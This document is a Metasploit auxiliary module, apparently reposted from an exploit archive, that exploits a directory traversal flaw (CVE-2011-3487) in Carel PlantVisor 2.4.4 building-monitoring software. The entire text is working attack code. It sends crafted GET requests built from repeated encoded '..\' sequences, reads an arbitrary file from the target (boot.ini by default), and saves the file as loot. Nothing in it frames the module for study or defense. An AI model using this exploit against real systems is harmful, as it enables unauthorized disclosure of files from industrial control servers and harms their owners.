Carel PlantVisor 2.4.4 - Directory Traversal Information Disclosure Exploit

require 'msf/core'
 
class MetasploitModule < Msf::Auxiliary
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Carel [email protected] Directory Traversal',
            'Description'    => %q{
                This module exploits a directory traversal vulnerability
                found in Carel [email protected] <= 2.4.4. The vulnerability is
                triggered by sending a specially crafted GET request to the
                victim server.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2011-3487' ],
                    [ 'BID', '49601' ],
                ],
            'DisclosureDate' => 'Jun 29 2012'))
 
        register_options(
            [
                OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
                OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
                Opt::RPORT(80)
            ], self.class )
    end
 
    def run
 
    depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "/" + ("..%5c" * depth)
 
    res = send_request_raw({
        'method'    => 'GET',
        'uri'       => "#{levels}#{datastore['FILE']}",
    })
 
    if res and res.code == 200
        loot = res.body
        if not loot or loot.empty?
            print_status("File from #{rhost}:#{rport} is empty...")
            return
        end
        file = ::File.basename(datastore['FILE'])
        path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
        print_status("Stored #{datastore['FILE']} to #{path}")
        return
    end
 
    end
end

#  0day.today [2018-01-03]  #